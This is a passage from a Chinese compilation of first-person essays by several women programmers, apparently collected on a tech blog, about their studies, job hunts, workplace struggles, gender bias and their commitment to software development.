“左手代码，右手诗”\n\n\n从小我喜欢画画，喜欢文学，上大学的时候，听了家人的意见，报了计算机，从此理想和现实分开。我大学毕业已经10多年了，当年毕业进了高校当老师，两年后为了爱情放弃舒适的生活来到北京北漂，对计算机不是那么爱好，开始做测试，后来转作网站开发，和互联网结下了不解之缘。互联网是节奏很快的公司，虽然自己年纪大了，可是和年轻人在一起，觉得自己心态还很年轻，哈哈~\n\n\n说起做技术，也是满腹心酸，刚到北京，一个小公司，老板不懂，今天说给我开发一个无纸办公室软件，明天那个，那个时候晚上下班累的洗脚时躺着就睡着了。可是自己没有放弃，逐渐喜欢上了技术，后来去了一家公司，有个大师级人物，虽然大家都说他性格古怪，可我和他相处很好，他算是我一个师傅，和他2年多，自己技术提高了不少，做技术的兴趣也多了很多。最苦的时候加班两个通宵，除了公司坐上出租车就睡着了，但是心里很充实很开心。\n\n\n女人做技术最怕就是世俗的偏见，尤其是过了30，生了孩子，明显感觉出来了，职业瓶颈。不少人劝我找个轻松的工作，可是我还是没有放弃，还在坚持，不是为了为了养家糊口，为了自己的心愿吧。我做事喜欢亲力亲为，每次招聘约小孩面试，他们都问我，你是助理吗？面试结束，小孩们又说，女的做技术很少的，做技术的女领导应该很严格吧。其实对于别人的任何看法，我从来都是笑笑不语，我带团队，总是希望新人能在我这里学到东西，走的时候能上一个更高的台阶，因人而异给他们提供机会。互联网发展快，我自己也要学习，不然就跟不上，我每天很早来公司，晚上也走得相对晚些，下班了才有自己时间看点东西，上班琐事太多。顾了公司顾不了家庭，回家是孩子睡了，老公一脸的不高兴，生活或许如此，不能尽善尽美。任何事情都有游戏规则，既然选择就要遵守。\n\n\n互联网的泡沫其实很多，我经常给刚毕业学生说，30岁之前不要看钱，而是给自己长本事，积攒资历。发现在线小孩浮躁的很多，很难静下心来认真做一件事情，总是看着别人的薪水多高，看别人的收获，却没看到别人背后的付出。\n\n\n程序员给人感觉都很闷，可是我喜欢读小说，红楼梦最爱，很喜欢惠新宸的那句话：“左手代码，右手诗。”\n\n\n\n\n##### Joyic – 只要努力，一切皆有可能\n\n\n看过“一个女程序员的故事”这篇文章，很有感触。我是2010年的硕士毕业生，也是个女生，和故事中的女主角比起来，我的故事其实才刚刚开始。或许平淡，但希望能给即将找工作，还在徘徊和犹豫的学弟学妹们一些鼓舞。\n\n\n经历的小学和初中的辉煌，经历了高中的低潮，我进入了一所211本科，不是985，一所不上不下的大学，专业是信息管理与信息系统。这个计算机相关专业让我接触到了C语言，数据结构，Java，Web编程以及数据库，我发现自己从来没对哪些课程有如此大的热情，这些热情带给我的动力以及对知识的渴望，换来的不仅仅是优异的成绩，最重要的，让我拾回了高中三年几乎丧失殆尽的信心，我又开始相信自己。\n\n\n转眼大四，与保研失之交臂，考研又没能进入理想的学校。又一次进入了一所不上不下的211学校，一切似乎又回到了原点，这次的专业是软件工程。不幸中的万幸，我还没离开自己喜欢的专业。研二的上半年，我得到了导师的一个横向项目，给四川的某出版社分社做一个信息管理系统。这是我得到的第一个锻炼机会，用的是最简单的jsp+servlet技术，系统结构不复杂但内容很庞大（就一个dev来说），我一个人硬着头皮码了十几万行的代码，需求、开发、安装、调试、培训一个人从头干到尾，中间多少次我都觉得自己做不了了，要放弃了，这个功能我完不成了，没时间了，咬咬牙，全过来了。现在想想，这个系统错露百出，但它使我完成了从无到有的涅槃，不再是看看书，写个百十来行的练习，是真正做出来个东西。\n\n\n完成了这个项目，对自己的信心又增强了。我有了下一个目标，找个实习，去IBM试试！\n\n\n以我所在的学校，能拿到IBM实习offer的人凤毛翎角。“应届生”网站上随时会有IBM招intern的消息，我的简历因为有了刚刚做过的这个项目，基本都能得到电话面试的机会。当时我的知识面还很窄，加上没有为面试好好复习过基础知识，屡试屡败，有时拿到面试也是铩羽而归。“WSDL是什么？”，“你对SOAP有什么了解？”，“设计模式你熟悉么？”，“解释一下Spring的依赖注入”一次次的失败也指引了我学习的方向。不会我就学么。至少面了5个team，我终于拿到了IBM的offer，当上了intern！现在想想，这个时刻带给我的喜悦甚至超过了我毕业真正找到工作的时候。我再一次给自己画了一条遥不可及的线，再一次把自己扔了过去。\n\n\n实习了不到一年，让我学到了很多，也适应的外企的工作环境。开始真正的找工作了。有学校的项目和IBM实习经历，我的简历更加丰满，加上自己经历多次intern的面试，积累了一些面试经验，很顺利的，我拿到了Oracle，IBM和我现在公司的Offer。\n\n\n工作到现在工作一年多了，有过一次promote，也得到了一次出国培训的机会。真正的工作中，我的技术和工作过3、5年的同事尚有差距，我把很大一部分精力放在了解业务上，通读了产品所有的design文档，对架构及所有workflow了然于心，专挑一些别人不愿碰的硬骨头，亦因此建立起自己在team中的reputation。\n\n\n最后，我想说，我身边也有在学校的时候就能写出操作系统的牛人，我也是无比尊敬和仰慕着他们。作为一个热爱着编程又天赋一般的普通人，没有清华北大北航北邮…的好出身，也没有根红苗正的计算机科学与技术专业背景，一步步的走过，被兴趣爱好还有自己的执着指引至今。\n\n\n给向往着大公司的学弟学妹们，可能你的学校使你没有运气在面试的时候发现面试官刚好是自己的师兄师姐，但只要努力，一切皆有可能。\n\n\n给我的老师和帮助过我的同事，你们引领我一步步走进了这个行业。\n\n\n还有我相伴7年的男友，我还记得大学的时候我们打电话时讨论技术，宿舍姐妹们看我的眼神儿。哈哈哈。\n\n\n\n\n##### 叨叨 – 为了忘却的纪念-我在恒生的七年\n\n\n**叨叨的博客**  \n\n<http://blog.sina.com.cn/u/1892569084>\n\n\n强烈建议大家看看这个连载，你一定能从中看到很多东西的\n\n\n* **前传**<http://blog.sina.com.cn/s/blog_70ce4ffc01011h8z.html>\n* **初出茅庐（上）**<http://blog.sina.com.cn/s/blog_70ce4ffc01011h93.html>\n* **初出茅庐（下）**<http://blog.sina.com.cn/s/blog_70ce4ffc01011hs6.html>\n* **初露锋芒（上）**<http://blog.sina.com.cn/s/blog_70ce4ffc01011igb.html>\n* **初露锋芒（下）**<http://blog.sina.com.cn/s/blog_70ce4ffc01011j7z.html>\n* **一波三折（上**）<http://blog.sina.com.cn/s/blog_70ce4ffc01011jur.html>\n\n\n（本文发布时，这个故事还在继续中……）\n\n\n\n\n##### Kelan – 在coding和修复bug中享受无限的快乐和价值感\n\n\n我是一名入职不到一年的女程序员，很幸运，能进入一家知名的互联网公司做web开发，用的Java。我记得当时面试的时候，我在技术上毫无优势，公司要用到的很多框架，我都没有使用过，只是听说过，知道一点点概念，但是过了两个技术面，面试官很nice，觉得我有潜力。第三面是HR面，当时HR问我，为什么要做技术，我当时思都没思考就回答：喜欢！我一直很惊异这个答案，也许，那是一个连我都不敢相信的真实的答案。\n\n\n我在的team里面，就我一个女生，又是最小的，大家相当照顾我，在工作上给与了我很大的帮助，不得不提的是，我不仅遇到了一个很和谐的团队，还遇到了一个打着灯笼都难找的boss，对于这一点，我觉得也许是上辈子积了德，呵呵呵。也正因为他们对我很好，我在工作上不敢懈怠，我知道我基础很欠缺，我不想因为这个影响到整个团队。我会主动的去学习相关的东西，但是，从前的一些经历，让我对自己很不自信，当我看到同事游刃有余的处理工作，讨论技术，研究业务的时候，我很羡慕，同时也觉得自己很苍白，不知道何时才能和他们一样，同时也很害怕让他们失望。\n\n\n很多人都觉得女生就该做像女生的工作，比如hr，比如行政，做技术也可以选测试…我也有过疑惑迷茫的时候，不知道未来的路如何走，也想过自己是不是选对了职业的方向。但我不得不承认，coding和修复bug后给我带来了无限的快乐和价值感，那种感觉很好很好。\n\n\n我没有太多的分享工作经验，只是想说说自己的迷茫。我从前一直觉得，要做技术大牛才是技术人员的目标，而技术大牛四个字，我望尘莫及。我很堕落的想过，我可不可以不做技术大牛，我就写我的代码，去实现各种业务流程，做一个平凡的程序员，这样算不算不思进取？我看了你分享的文章后，觉得我的想法也许没有那么不堪，每个人都有选择成为哪种人的权利。既然现在的我喜欢code，那我就写好每天应该写好的code，至于以后，那是以后的事了。\n\n\n我觉得，也许很多女程序员和我有相同的困惑，不知道，有谁可以解惑？言语有些乱，因为最近也被这些问题烦扰。但我还是想给自己一个机会，在技术领域，至少五年，如果真的不适合，我放弃，去选择另一种人生；如果相反，呵呵呵，那我真是很幸运，从一开始就选对了路：-）\n\n\n\n\n##### WaterMask – 踏踏实实的做coder，每天写好每一行代码\n\n\n偶也是个女程序员，看了cool shell上的blog，发现同自己想法一样的人很多，我也想说说自己的事情。（可能会有点长，如果您能读完我会很荣幸，因为一直都是我读你的blog来着么，呵呵~）\n\n\n我是09届毕业生，加上实习时间也不过3年不到，所以还是个新手。\n\n\n毕业那年正赶上金融危机，就业形势一片糟糕。对于非名牌大学的我来说，简历通常都是石沉大海。身边的同学如果自家有门路的基本都舒舒服服的实习了或者考公务员什么，心里不是没有憋屈的。虽然自己家里也不是一点门路也没有，但是我还是想能靠自己的能力找到工作。（工作到现在我发现，做IT的都不喜欢走后门，大家都靠自己的实力面试工作之类的，恩~所以我更爱这个行当了~）\n\n\n我的专业是计算机科学与技术，所以除了程序员，我基本没有想过要做别的职业……不晓得为什么当时我会这么想\n\n\n实习的第一家公司是在一家展会公司做网管。公司在市中心的高档办公楼，只有一个hr面试我，没有任何的技术问题。接到录取电话的时候，还是开心极了，因为那时候简历投的基本要发狂了。之后去那边上班才发现受骗了，那家公司其实就只有一个部门——电话销售部门。所有的人每天都是不停的打电话做推销（原来那些成堆成堆卖客户资料的人都是卖给这种公司了……居然还有电话过去找的那人死了好多年的……）。于是我干了没几天就走了。\n\n\n沮丧的很，本来以为是难得的实习机会。因为知道自己其实除了计算机系毕业的外，连真正的代码也没有敲过几行，对于自己想干什么能干什么都很模糊。当时甚至觉得如果有一家软件公司肯要我，给我一个学习的平台，我工资也可以不要的……\n\n\n之后我认真修改了简历，也去了几家公司面试，不过可能因为技术方面太贫乏，都没有公司有回音。除了再接再厉外，我也没别的方法。正好当时学校里已经没有课了，只剩下毕业设计，于是我有大把的时间出去找工作。\n\n\n最后拿到offer的是一家民营公司，专做外包的。（虽然当时我对外包这次词其实不是很理解）我只能说我的运气很好，这家公司的hr是个很nice的姑娘，通过笔试面试之后，她还和我聊了很久，问我为什么非要做程序员之类的，而我也破天荒的说了很多心里的想法。（应届生面试总会事先准备一些问题和答案，有些可能会有点冠冕堂皇）。我记得我跟她说我觉得写程序应该是一件充满想象力和创造力的工作，我喜欢当完成一段代码像完成一件作品一样的成就感。面试完之后，我其实没想过会被录取，只是觉得把心里面的话说出来了，觉得很舒服。过了不久就接到去上班的通知了，心里是非常愉悦的，这次是真正的程序员了！\n\n\n开始工作之后才发现了梦想和现实之间的差距。因为是外包公司，所以项目进度非常的紧，而且需求也是三天两头的变。我所在的项目组一共5个人，却有6个项目在同是开工，其中3个人事项目经理。不过那时候的我没想那么多，加班就加班呗，我觉得是自己学习的机会。因为我是项目组里唯一的女生，所以大家都非常的照顾我。在写代码的过程中有遇到什么问题，基本都会抽时间帮我解决。有时候我怕会打扰别人就到网上搜搜解决办法，看看文档。每次靠自己解决问题之后，都会很有满足感。我觉得我所有的代码知识几乎都来源于实践，有点现学现卖的。\n\n\n在工作了一年之后，我甚至觉得自己进步的很快。因为有同事跳槽的关系，项目组里缺人，我居然开始一个人负责一个项目。天啊，我觉得自己太伟大了！是个网上办事的电子平台的OA项目，还有一些杂七杂八的附带功能，视频、聊天、发短信什么……面向的客户是政府机构，使用的人员基本也都是事业单位或者是公务员。（这就不难理解为啥要那些杂七杂八的功能……）\n\n\n我接受这个项目的时候已经是中后期，从跟客户需求沟通，到代码，到测试，到现场实施，到后期维护……几乎就是我一个人在做。其中的苦辣酸甜也就不谈了，常常被客户骂的饭也吃不下。我就这么浑浑噩噩的又干了半年左右，每天都是白天接到客户的需求变更或者使用的bug（测试也是我自己做的……所以bug非常多）下午代码，晚上就跑到客户机房去调试补环境……\n\n\n通过这样的长期反复，我开始思考自己一开始的初衷，我为什么要做程序员？我每天都要花很多的时间去理解和分析客户的需求，然后想尽办法修改我的代码，我的代码几经修改已经面目全非，已经没有任何代码质量和运行效率的考虑，纯粹只是为了实现功能而功能。由于工作时间的增加，我也看到了身边很多其他同事的工作状态，除了那些和我一样埋头苦干的所谓项目负责人外，其他的人都善于跟客户周旋，用一些看似很专业的辞藻去推脱用户提出的各种要求，实在推不了的，才勉为其难的答应下来。\n\n\n诚然，当公司把这个项目交给我的时候，我是充满热情的。但是现在，我终于清醒了。我想这不是我要的工作，我还只是一个刚刚毕业的本科生，不能夜郎自大的认为自己已经可以独挡一面。我根本不懂项目架构，不懂项目管理（虽然也木有人给我管理……），不懂得如何消化来自客户的需求并从中取舍（并不是客户所有的意见都要接受，这是我通过身体力行才了解到的……），我的能力仅仅停留在知其然而不知其所以然，我只能实现一个功能，但不知道怎样优化这个实现。所以我想，我应该去一个能教会我这些东西的地方\n\n\n2011年初的时候，我离开了原来的公司，到现在的公司上班。公司只有30多个人，研发部10人，测试部10人，剩下的有行政和销售。这是一家做产品的公司，产品主要涉及网络运维管理，安全策略啥的。公司非常注重产品质量，对于每次产品升级而变更的代码都会做code review，写的不好的地方就要改。也有详细的项目管理流程，项目经理会合理安排每一个时间节点的工作任务。在这样的环境下，对我的帮助是巨大的。\n\n\n一切都要重头开始学，我第一次写python因为之前一直习惯的分号结果而郁闷不已，第一次用vi编辑代码，折腾了大半天才码出了一段代码，小心奕奕的保存好……现在回头想想都觉得很有意思\n\n\n我也想过今后要往什么方向发展，是一直做技术？还是做管理？做前期需求？\n\n\n以前总以为做IT，就是写代码。但当自己干了这些日子，才明白软件工程的每一个环节都是非常重要的，程序员只是其中的一个环节。但是无论今后自己要转什么方向，程序员的经验一定会为我在IT行业打下坚实的烙印。\n\n\n我坚信一个不会写代码的管理者，一定不是一个优秀的管理者。\n\n\nIT行业和别的行业很大的不同是人。IT都很喜欢分享，只要肯问或者寻求帮助，就算对方不是很懂，也会非常乐意帮助我解决。我觉得这样的氛围很好，互帮互助，共同进步。这个是我在别的行当很少看到的。我有很多同学都会跟我抱怨她们办公室里错综复杂的人际关系，每天听到那些事情，我都会庆幸自己从未遇到过。\n\n\n所以我想，我现在非常喜欢自己的职业，喜欢自己的行当，我就踏踏实实的做好我的工作。我就是一个简单的coder，每天写好每一行代码就好。至于今后的发展，今后的职业规划也不用想的太细。既然我要一直混迹于IT这个行业，那么多做几年程序员不也挺好。顶着程序员这个头衔，我就需要不断的学习，不断的接触新鲜的知识，让自己不会落后。\n\n\n\n\n##### 禾禾木木 – 女程序员的路可以很长\n\n\n简要的说下自己，本科调档不幸进入计算机行业，于是开始了跟计算机，跟开发的纠结。本科在一个很差很封闭的学校，就死学了，只会考试，实践的东西基本没有~考研上 了一个挺好的学校，可是因为一些原因只读了个跟计算机相关的专业，自己接了几个活做学院网站什么的，网站虽然基本是自己前端后端一个人忙乎乎地整起来的， 但是质量很差，重复的代码很多，现在想想，太恐怖了，那时候就知道，功能实现就ok了。现在很后悔在学校的时候，在思维最活跃的时候没有错接触点新的东西。\n\n\n毕业。来上海，在一家外资民企工作至今。\n\n\n之前在学校里女生很好，特别计算机这块的，女孩子真的是宝，受着宠。工作了就不一样了。虽然男人帮们还是很帮助女孩子的，但是，毕竟工作是靠绩效靠能力来权衡的，尤其是技术领域。按照你完成的事情多少和能力强弱来决定关注度的，虽然大家感情都不错，但是我还是能明显地感觉出来，因为自己能力比同组的男同胞差，老大不太敢把重要的事情给我做，承担不了重要的事情，在关注度，升职加薪等 等上面就打了很多折扣。\n\n\n为什么会坚持下来呢？因为喜欢这个行业，也因为自己学的是这个，也因为自己小小的虚荣心，因为一般大家听说女程序员都觉得是很牛的，似乎女孩子加上了这个职业就有个光环在头上，只是我的一个想法，不知道大家有没有这么想过~还有，这个职业对我来说还是蛮有吸引力的，我也喜欢做这些事情，虽然进步不快，但是看着自己整出来的东西大家玩的开心，自己也很开心。\n\n\n我虽然每天笑嘻嘻的，其实自己知道自己有多么辛苦。想写精致点的代码，重构，可是没有太多的时间，工作任务还是很重的，强度也大，基本上每个晚上到八九点走。要学习很多新的东西，我脑子还反应很慢，很多时候老大给同组的人讲的东西，可能大家马上就会了，可是我还是没听懂，老大会很无奈，我会记下来，有时间就去看。有时候会去关注下招聘的事情，不是为了跳槽，而是看看需要什么样的人，看到很多要求有开源代码经验的，在github上面整了代码的，我也会去关注，以后计划着自己整个人的网站，写技术文章，多交流。我还是很有热情和很负责的一个人，为了赶进度，周末两天都可以放工作进去，把上淘宝的时间都用来看新的东西了，逛街，基本一两个月去一次的。即便如此，老大从我们一个组走过，还是只会关心那些写代码写得好，事情做得好的人。虽然会很难过，但是我还是挺下来了。告诉自己说，既然坚持了这个行业，就开开心心地走下去，看看自己跟别人有什么不足，为什么会有差距，弥补弥补。这么坚持下来，虽然我还是没有同组的人进步快，但相比刚开始工作的时候，什么东西都不知道，还不知道该怎么去学，怎么去把程序写好，已经好了不知道多少倍。我也会去参加一些会议，去关注一些小组，在女孩子看韩剧的那些时间了，可能我关注的是一些技术的博客论坛等等，这么样，也增加了自己的见识等。我不敢说我现在是有多么强，至少，在我周围的认识的女孩子转行，退避的时候我坚持了下来，算是女孩子中不错的吧。\n\n\n觉得女孩子跟男孩子差别并不大。可能他们真的思维会不一样，劳动强度能更承担些，但是，其他的应该都还好。我有个朋友，也是女孩子在做开发，长得很漂亮，她 说她经常碰到了问题，一大帮男的会过来帮忙，依赖心很强。我觉得依赖心强的女孩子做不好开发的，男孩子做得好开发，是因为他们喜欢自己专研，依赖别人了会 被人瞧不起，但是如果是女生，基本上还是有求必应的，所以，很多时候做不好，是因为自己还不在悬崖边，还有很多绳子牵着，虽然不至于让自己摔死，但是也被 绊住了，前进不了。还有，我自己的观察，长时间的专注和精益求精也是写好程序的关键。我自己最缺乏的就是长时间的专注，于是在找bug，看源码方面就欠缺 了很多，不能深入进去，要有在茫茫多的代码中调试的那种心境，一点点地挖掘到底是哪里出问题了，哪里影响效率了，哪里内存泄露了，一点点地试验等，能力就 提高了。精益求精才能写出好的代码出来，我也是受着周围男人帮的影响，从马大哈，从写完了程序就想玩想放手变成了事关审视代码，看哪里能够重构，哪里能够 抽象，去掉重复等，代码才能写得好。\n\n\n曾经一度，自己也很喜欢抱怨，抱怨自己怎么就没有别人进步那么快，就得不到重视，还这么辛苦，想走人，那段时间也就是我自己觉得最虚度，最没有成效的时间。现在想想，与其这样，还不如拿出时间来好好做好自己的事情，如果真的承受不下去了，觉得自己真的不适合做这个行业了，那么就转吧。我看到过一些女孩子，做程序做得很轻松，她们很聪慧，或者很有方法，我不是这种人，在这里我想鼓励那些不是 天才的女孩子们，如果你在做开发这个行业，如果你喜欢这个，那么坚持自己吧~\n\n\n有人会说，做IT的女孩子，老得快。其实我觉得这说法也不全对。我周围也有些长得很漂亮，打扮得也很好，生活各方面都维持得很不错的女开发人员。很久以前看过有女孩子一边写着程序一边吃着芦荟啊，抹着各种护肤品，我们也可以做做瑜伽啊，平时煮点汤给自己补补脑子什么的，周末不宅着，去锻炼锻炼身体，虽然可能没那么多时间去逛街，但是也可以抽个空给自 己买些好看的衣服来让自己开心点。写程序的女孩子也是女孩子嘛。\n\n\n我没有讨论更多的技术方面的东西，我觉得工作态度，人生态度是很首要的。有个开心乐观的心境，加上好的方法和总结，我觉得，女孩子走程序员道路还是能走很长久的，也能做得很好。共勉。\n\n\n\n\n##### Bana – 我是一名女程序员 我无怨无悔\n\n\n我在大学学的是计算机与信息科学专业，那是大家有两个方向：计算机和数学。我想我以后肯定是不会从事计算机的，试想一个在电脑前面坐上一个小时就腰酸背痛的人&不能熬夜的人，会从事计算机方面的工作吗？\n\n\n现实与人所想差距是很大的。一晃，我已经在IT行业混了3年多了。现在除了不能熬夜，叫我在电脑前面坐上12个小时，一点问题也没有。\n\n\n大学我考研是考的数学方面的。那时很是迷茫，不知道自己能干什么，在大学我全身心的投入到那些毫无意义的课本知识上，最后获得的只是一叠毫无价值的证书。考研没有考上我报考的学校。调剂到了另外一所学校，我没有打算读，但是竟然跑出复试了。也许是为了给大学生活句号吧。\n\n\n离校时间到了，我已经放弃了读研，而工作是没有着落的，我揣着优秀毕业生的证书被毕业了。毕业那一年的经历，对我打击很大。曾经的自信心，已经荡然无存。时至今日，才恢复得差不多了。2008年6月份，一个偶然的机会，让我走上了IT行业。\n\n\n在上海的一个朋友，他公司有人休产假要招人，他在他老大面前极力推荐我，结果就是他老大自掏腰包，出我往返的车费。当时我在湖北。当时的情况是：我只是在大三的时候考过一个程序员的东东，似乎在代码方面得分蛮高的（我记忆不好）。毕业设计的时候做了一个简单得不能再简单的发邮件的东东。我已经有一年没有碰任何跟代码有关的东西。就这样我从湖北跑去上海面试了。其实心里是没有底的，只是有一个强烈的愿望，一定要通过。我急需要改变目前的状况，这一次对于我意义重大。\n\n\n面试的时候，是朋友的老大和休产假的同事。也没有问什么，后来说叫我一个礼拜做一个用VB写的计算器。我应聘的工作是维护一个VB 6.0写的ERP系统。面试完后，我就赶紧整合多方资源来解决这个留给我的题目。从网上找相应的资料，寻找朋友的帮忙。\n\n\n回到湖北的时候，是表哥去接我的。我请的假比较长，就先去表哥那里啦。这时对于我来说，要紧要的事情就是完成那面试题目并Email出去。在坐了15个多小时的火车后（我坐的是硬座），一直到我把题目给解决后，一刻也不敢耽误。那时精神超好，后来题目解决后，我倒在床上就睡着了。把代码打包连带一篇非常诚恳的文字给面试的人发了过去，之后就焦急的等待结果。终于等来了电话，问我什么时候可以去上班，并说了薪水。当时我高兴坏了，辞了当时的工作，就奔赴上海了！\n\n\n最开始的一个月，很难熬啊。我什么都不懂的。专程跑出上海书城买了一本VB 6.0的书来看。等到了我适应得差不多的时候，公司发生了一件事，要裁员了。金融危机呀，当时心惶惶啊，好害怕自己被Fire掉了。因为我这个岗位当时招了2个人，而且我总觉得我是多余的。最后的结局是：我被调出负责另外一个用ASP写的OA系统。之前负责的那人被Fire掉了。\n\n\nASP，我不会。当初老大问的时候，我说应该还好，没有什么问题的。当初说好交接时间是一个月的，那人不同意，最后说是一个星期完成交接。结果是她最后上班的一个星期，她只来了两天。My God！那段时间是我最难熬的时候，User的电话打个不停，而我都不知道怎么解决，而且也找不到人帮忙。真是叫天天不灵，叫地地不应的。全靠自己一点一点的摸索。最终工作终于是游刃有余了。但是ASP我只是皮毛。\n\n\n我最初进公司的目的是想学C#，直到09年7月份的时候才接触到了C#。公司的系统要进行改版，用C#来编写。之前的老大因为一些原因，离开了。当时我差点流眼泪了，如果当初不是他，我还不知道自己会怎么样，会不会一生就那样了，就是痛苦的一生了。\n\n\n新来的经理，对于我产生了很大的影响。他给我们培训C#的相关知识，其实韩磊翻译的那本经典的C#书籍我都不知道翻了多少篇了，但是因为没有操作，了解到的很少。当经理给我们培训的时候，有一种豁然开朗的感觉，听起来特别带劲。经理给我们讲了程式命名的规范，SP命名的规范，自此我一直按照这些规范来规范着自己。接着就写了关于人事系统的几个窗体。看书和写代码完全是两回事。\n\n\n新系统改版，我没有参与多少。能力不够的，在新系统上线（2010年10月份）的时候，了解了一些业务知识。当时心里很苦闷，我想做开发的，不想做维护的。维护做得没有意思，也学不到多少东西。而且要想学东西学得快的话，做开发是学得最快的。实际参与其中，才会去思考相应的解决方法。在寻找解决方法的过程中，就学到了东西。\n\n\n现有的工作岗位满足不了我的需求，但是此刻我又不能去找工作，因为我不自信。还是觉得自己什么都不会，其实也就是什么也不会。阅读是排遣痛苦最好的方法，我陆续的阅读了一些书籍。关于心理学方面的，在我认为，最重要的源头就是心理。找到了源头就好解决问题了。\n\n\n就这样，让我接触到了周金根的敏捷个人(有关敏捷个人的话题，需用另一篇日志来讲述)。2011年节后返回上海，当时上班没事看，我就看《遇见未知的自己》，因为我正面临着一个问题，不知道是怎么回事，就想从书里面寻找答案。谁知，看完不懂后，又跑出看了《秘密》。而敏捷练习也在进行着，在做个人生活方向盘的时候，我明白了什么对于我来说是最重要的。\n\n\n当下也就有了计划，准备换工作了。当对某事有着强烈的愿望时，那事一定会实现的。\n\n\n4月中旬，经理离职了，去武汉开公司。我就跟着经理回武汉了。这真是一个很好的机会，在武汉，我周末就可以回家。更重要的是，我做开发，做我喜欢做的事情。此时我已经找不到待在上海的意义了。家人和个人的前途对于我来说，是最重要的。\n\n\n经理建议我们至少读三本英文原文书籍，这样之后就看英文就不会排斥了。为什么看书呢？你解决某个问题的时候，在网上找到的资料时很片面的。书里面的知识比较全面，但是需要花时间。还推荐了一些关注的英文网站。Code Project 是必备的。提高搜商是必须的，找准问题的关键点。坚持每天看书。关键是要多思考。充分的运用各种知识的能力。\n\n\n我意识到某个地方不足的时候，会找相应的书籍来充电。让我一段时间不看书，会浑身不舒服的。当然我看的书的范围很广泛的。\n\n\n从事这个行业，本来就不是那么轻松的事情。而我不喜欢轻松的工作。这个行业不断的出现新的知识，需要不停的学习。其实不管哪个行业，都需要不停的学习，否则很快被淘汰的。\n\n\n爸妈曾经说过，如果我当初去读研，毕业后去学校教书就好了，工作稳定。未来的事情谁说得到呢。我不喜欢当老师，而且在这个变化莫测的社会，又有什么是稳定的呢？同学、朋友跟我讲，女孩子干这行太辛苦了，转行吧。可是我能够体会到乐趣所在。为自己写出了一段好的代码，或者是解决了某个困难的问题。\n\n\n这个行业要加班，熬夜，那么为什么不能从别的角度来看这个问题呢？提高自己的工作效率，管理好自己，是不是可以解决这个问题呢。\n\n\n这一年，我一直在修生养性，读灵修方面的书籍。人管理好自己后，其他的是不是就不是问题！\n\n\n从事这个行业，我无怨无悔。现在我还是菜鸟，需要学习的东西很多。未来的路还很长，我坚信我会走好的。\n\n\n\n\n##### Cathy – 一个非典型的女程序员的曲折经历\n\n\n简单介绍一下我自己吧，我07年从一所TOP10的著名理工大学计算机专业硕士毕业，目前在一间世界500强的欧美通信公司担任高级系统软件工程师的职位。\n\n\n因为本科并不是学的传统计算机专业，而是计算机与通信的交叉学科（课程设置上少了面向对象、JAVA程序设计等计算机高级专业课程，增加了很多电子线路设计、通信、信号论等）。毕业时因为专业课成绩优异直接保研。如果说本科毕业的时候，自己还是颇为踌躇满志，那研究生的三年就是郁闷的开始。保研后，虽然还在计算机专业但主要从事的是硬件电路板的开发。项目组的组长是一个博士，人很好但是不太会和女孩子打交道，或者说有一些性别歧视吧。进入项目组之后，一开始做了一些电路板的Schematics、PCB layout和Debug的工作，也得到了组长的好评。但是渐渐的，由于我并没有表现得非常的积极主动和对技术充满热情，组长分给我的任务越来越少。我也越来越苦闷，当时的我还并不知道该如何面对这种情况。组里曾经也来过一个女生，面临比我还要糟糕的情况，记得一次项目组吃饭当时那个女生没来，组长直接对我们大家说这个女生能力不行，没过多久她就被调去别的组了。但是我还留在这里，组长几乎很少和我说话，当时的我不知道如何向他表达我的心情也不知道自己想要什么，陷入对自己能力的深深的否定中，当时的想法只有一个：赶快毕业吧。这种情况一直持续到研二下学期。最后一年碰到了一个去国外实习半年的机会，毫不犹豫的就去了，是在一个很牛的电子公司里做电子工程师助理。干的活基本和在项目组干的差不多，画图调板子打杂，但是这半年我想清楚了一件事，就是我对干硬件没啥兴趣如果不能做IC design的话就转去做软件吧！\n\n\n但是，当时的我还陷入在对自己能力的盲目乐观中，总觉得自己之前成绩很好，做实验写程序从来不输给男生，想转应该不难吧。回国后迅速搞定论文就开始找工作了。找工作的时候，现实很快无情地把我打倒了。因为当时我的男朋友也是现在的老公已经早我几年毕业在北京工作了，而且发展得很不错，所以当时我也一心只想找北京的工作。可是自己过去三年几乎没有写过程序，和学校里众多写过N年程序的同学竞争，结果可想而知。我只能拿到去其他城市做硬件的offer，但是却无法拿到去北京做软件的offer。这时，我的自信心跌到了谷底，TOP10大学的TOP10学生（即使读研期间很郁闷但是还是拿了不少奖学金，而且去国外半年也赚了不少钱）居然找不到工作。后来，在一个师兄的推荐下，得到了我的第一份工作，在北京的一个小公司做嵌入式软件开发。\n\n\n虽然能来北京做软件，但和我去Google、Microsoft、IBM的同学相比，失落感不言而喻。几乎每个认识的人都会问我为什么去那个公司，为什么不去大外企，为什么不留在国外。这种失落情绪笼罩了我工作的第一年。但是还好，这个公司没什么牛人，并且因为我很好的学习能力，很快上手了。因为做底层软件需要对各种硬件接口、中断、DMA、处理器深入理解，我之前做硬件的经验也派上了用场，只用了半年时间，我就开始独立负责项目了。从第二年开始，我开始参与公司一些重要产品的开发，越来越得心应手。\n\n\n期间，公司从其他部门调了一个工作多年的男程序员来做我的领导。一开始，我很高兴，因为了解到这个人技术不错，而且一直做上层软件所以对面向对象、设计模式、软件架构、代码规范都颇有经验，我正好可以向他学习。但是，一起工作了一段时间后，矛盾出现了。这个人认为我虽然学东西很快对公司产品业务熟悉，但是对技术缺乏热情很少主动学习技术，对很多软件开发的基础也掌握得不够，所以每次对我的评估结果就是一般；而我当时初出茅庐，认为这个人对硬件毫无了解并且没有很快在做底层软件上证明自己比我牛，所以很不服气。记得当时一起开发一个产品，因为我对主要的业务逻辑更熟悉，所以挑了最复杂的业务逻辑模块来做；他则负责其他几个通用模块的开发。为了证明自己，我只用了他一半的时间就完成了所有功能。在联调测试过程中，由于他是项目的负责人，所以每次Bug都是先提交到他那里然后再由他来指派给对应的人来负责。因为他对平台不熟悉，所以每次解Bug都要连调试器跟很久，而我常常只通过代码Review就能找出问题所在。渐渐的，所有测试的问题都直接反馈到我这边；后来产品上市，售后碰到解决不了的问题也会直接反馈到我这里。等到我们一起开发第二个产品的时候，那个男程序员几乎完全交由我独立负责。半年后，他调回了他之前的部门，我们共同开发的两个产品也顺理成章由我独立负责下去。\n\n\n在公司工作三年以后，我对继续呆在这个部门里干软件开发渐渐失去了兴趣，基本都是重复性的劳动，而且由于是小公司除了开发之外还有很多杂事（比如因为公司售前售后没有技术背景，常常需要开发去Support；因为薪资不高常常会招一些水平较低的工程师，需要很多力气去Training）软件水平也难以再提高。而这时，公司也有意让我转向业务型负责人的方向，这几乎是在当时公司晋升的